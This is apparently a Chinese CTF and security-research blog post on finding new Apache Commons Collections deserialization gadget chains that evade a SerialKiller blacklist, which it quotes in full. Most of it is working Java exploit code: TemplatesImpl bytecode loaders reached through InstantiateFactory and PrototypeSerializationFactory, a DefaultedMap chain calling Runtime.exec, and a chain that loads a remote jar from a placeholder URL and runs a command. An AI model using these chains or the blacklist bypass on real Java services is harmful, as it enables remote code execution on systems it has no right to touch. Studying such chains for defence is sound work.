CC链再次挖掘
简单分析
记得上次给了群友一道题,是关于cc链的一道题,因为上次是直接看wp看到这道题的,也是没有思考很多东西,就只学到了一个绕过手法而已,然后昨天拿给gaorenyusi和6s6做的时候,看到他们做题的过程,发现了其实感觉是很多的绕过手法,然后也发现了一些危险的类,这里挖掘一次
这里先把waf给出来
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<logging>
<enabled>false</enabled>
</logging>
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
<acklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>
可以看到出口类是一个没有了,所以我们需要宁寻出口
但是怎么找,我们cc链入口还是只有哪些,总结起来
可以看到所有的都离不开我们的Trasnform方法,入口可以不变,也就是我们需要寻找的点是能造成恶意利用的
FactoryTransformer
分析
我们看到它的,可以调用iFactory.create()方法,而我们的iFactory是可以控制的
public Object transform(Object input) {
return iFactory.create();
}
public FactoryTransformer(Factory factory) {
super();
iFactory = factory;
}
所以我们找找有没有什么恶意利用的create方法
最后是找到了InstantiateFactory,它的create方法可以实例化一个类,可以看到是和我们的InstantiateTransformer作用一模一样
public Object create() {
// needed for post-serialization
if (iConstructor == null) {
findConstructor();
}
try {
return iConstructor.newInstance(iArgs);
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateFactory: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateFactory: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateFactory: Constructor threw an exception", ex);
}
}
POC
package OtherFind;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Instantiatefactory {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\CC1_5_6_7\\target\\classes\\GJ\\Test.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory=new InstantiateFactory(TrAXFilter.class,new Class[] {Templates.class},new Object[]{templates});
FactoryTransformer factoryTransformer=new FactoryTransformer( instantiateFactory);
HashMap map = new HashMap();
LazyMap lazymap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap, "123");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"ljl");
setFieldValue(lazymap,"factory",factoryTransformer);
lazymap.remove("123");
serialize(hashMap);
unserialize("123.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("123.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
PrototypeSerializationFactory
分析
这个是我们的PrototypeFactory类的静态类,其实PrototypeFactory类的create方法也是可以造成恶意利用的
但是不能传入参数,太鸡肋了
public Object create() {
// needed for post-serialization
if (iCloneMethod == null) {
findCloneMethod();
}
try {
return iCloneMethod.invoke(iPrototype, (Object[])null);
} catch (IllegalAccessException ex) {
throw new FunctorException("PrototypeCloneFactory: Clone method must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("PrototypeCloneFactory: Clone method threw an exception", ex);
}
}
但是它的静态类的create方法,不就是一个二次反序列化的入口吗我靠
public Object create() {
ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
ByteArrayInputStream bais = null;
try {
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(iPrototype);
bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream in = new ObjectInputStream(bais);
return in.readObject();
.....
我们看一看iPrototype是否可以控制
只不过是私有的,反射调用就好了
private PrototypeSerializationFactory(Serializable prototype) {
super();
iPrototype = prototype;
}
POC
package OtherFind;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import static OtherFind.Instantiatefactory.setFieldValue;
public class prototypeSerializationFactory {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\CC1_5_6_7\\target\\classes\\GJ\\Test.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory=new InstantiateFactory(TrAXFilter.class,new Class[] {Templates.class},new Object[]{templates});
FactoryTransformer factoryTransformer=new FactoryTransformer( instantiateFactory);
HashMap map = new HashMap();
LazyMap lazymap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap, "123");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"ljl");
setFieldValue(lazymap,"factory",factoryTransformer);
lazymap.remove("123");
Class c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
Constructor constructor = c.getDeclaredConstructor(Serializable.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(hashMap);
FactoryTransformer factoryTransformer1 = new FactoryTransformer((Factory) o);
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap1 = new HashMap();
LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer);
TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "1234");
Map expMap1 = new HashMap();
expMap1.put(tme1, "1234");
setFieldValue(outerMap1,"factory",factoryTransformer);
outerMap1.remove("1234");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap1);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser2.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unSerialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser2.bin"));
return objectInputStream.readObject();
}
}
ReflectionFactory
它是MultiValueMap的一个静态类
我们看到它的create方法,可以实例化一个类,和我们的
但是遗憾的是它没实现我们的序列化接口,它的作用是可以实例化一个类,和我们前面的作用挺像的,但是只能调用无参构造方法,确实没有什么作用
CloneTransformer
看到它的transform方法
public Object transform(Object input) {
if (input == null) {
return null;
}
return PrototypeFactory.getInstance(input).create();
}
我们看看这个getInstance方法
public static Factory getInstance(Object prototype) {
if (prototype == null) {
return ConstantFactory.NULL_INSTANCE;
}
try {
Method method = prototype.getClass().getMethod("clone", (Class[]) null);
return new PrototypeCloneFactory(prototype, method);
怎么说其实还是为了调用
public Object create() {
// needed for post-serialization
if (iCloneMethod == null) {
findCloneMethod();
}
try {
return iCloneMethod.invoke(iPrototype, (Object[])null);
}
还是同样的问题,必须无参,真实环境还是很困难的,不过如果构造方法能够不传入参数就恶意利用还是不错的
cc中的execute和evaluate
我还发现很多execute方法,但是最终是没有发现什么价值,但是还是记录一下查找的过程
ClosureTransformer类的Transform方法
public Object transform(Object input) {
iClosure.execute(input);
return input;
}
如果我们的execute可以恶意利用的话就很不错
但是很搞笑的一点就是循环起来了
TransformerClosure类的这个方法可以调用transform
public void execute(Object input) {
iTransformer.transform(input);
}
现在我的思路就变了,想着寻找一下触发transform的新方法
看看谁能够调用execute,找了一圈也是没有什么收获,拉到再见
然后再看我们的evaluate方法
在TransformedPredicate类它的evaluate可以调用transform,我们去找找谁调用了evaluate
public boolean evaluate(Object object) {
Object result = iTransformer.transform(object);
return iPredicate.evaluate(result);
}
无语了,和我们的execute简直是难兄难弟,都是陷入死循环了
SwitchTransformer
它的transform方法其实和我们的ChainedTransformer大差不差,所以可以去代替我们的ChainedTransformer实现一个循环调用的效果
public Object transform(Object input) {
for (int i = 0; i < iPredicates.length; i++) {
if (iPredicates[i].evaluate(input) == true) {
return iTransformers[i].transform(input);
}
}
return iDefault.transform(input);
}
DefaultedMap
其实我们之前学cc1的时候就有很多map,只是没有用这个而已,我们看到其实它和我们的lazymap一样的,触发它的get方法
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
if (value instanceof Transformer) {
return ((Transformer) value).transform(key);
}
return value;
}
return map.get(key);
}
调用链
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.DefaultedMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
DefaultedMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.2.1"})
@Authors({ Authors.MEIZJM3I})
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
通过hashcode
这个就不分析了,挺简单的
主要是Hashset的readobject方法调用了HashMap的put方法,然后就是Hashcode的利用了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
/**
* Author: @Jayl1n
* 加载远程jar,需要accessDeclaredMembers权限
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.MATTHIASKAISER})
public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String args) throws Exception {
int indexOfFirstSpace = args.indexOf(" ");
String url = "";
String command = "";
if (indexOfFirstSpace != -1) {
url = args.substring(0, indexOfFirstSpace);
command = args.substring(indexOfFirstSpace);
}
final String[] execArgs = new String[]{command};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname
new InvokerTransformer("getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{java.net.URL[].class}}),
new InvokerTransformer(
"newInstance",
new Class[]{Object[].class},
new Object[]{new Object[]{new java.net.URL[]{new java.net.URL(url)}}}),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[]{String.class}, new Object[]{"Z"}),
// set the target reverse ip and port
new InvokerTransformer("getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{String.class}}),
// invoke
new InvokerTransformer("newInstance",
new Class[]{Object[].class},
new Object[]{new String[]{command}}),
new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
return map;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections8.class, args);
String args1 = "http://xxx.xxx.xxx.xxx whoami";
Serializable object = new CommonsCollections8().getObject(args1);
byte[] serialize = Serializer.serialize(object);
String x = Base64.getEncoder().encodeToString(serialize);
System.out.println(x);
// Deserializer.deserialize(serialize);
}
}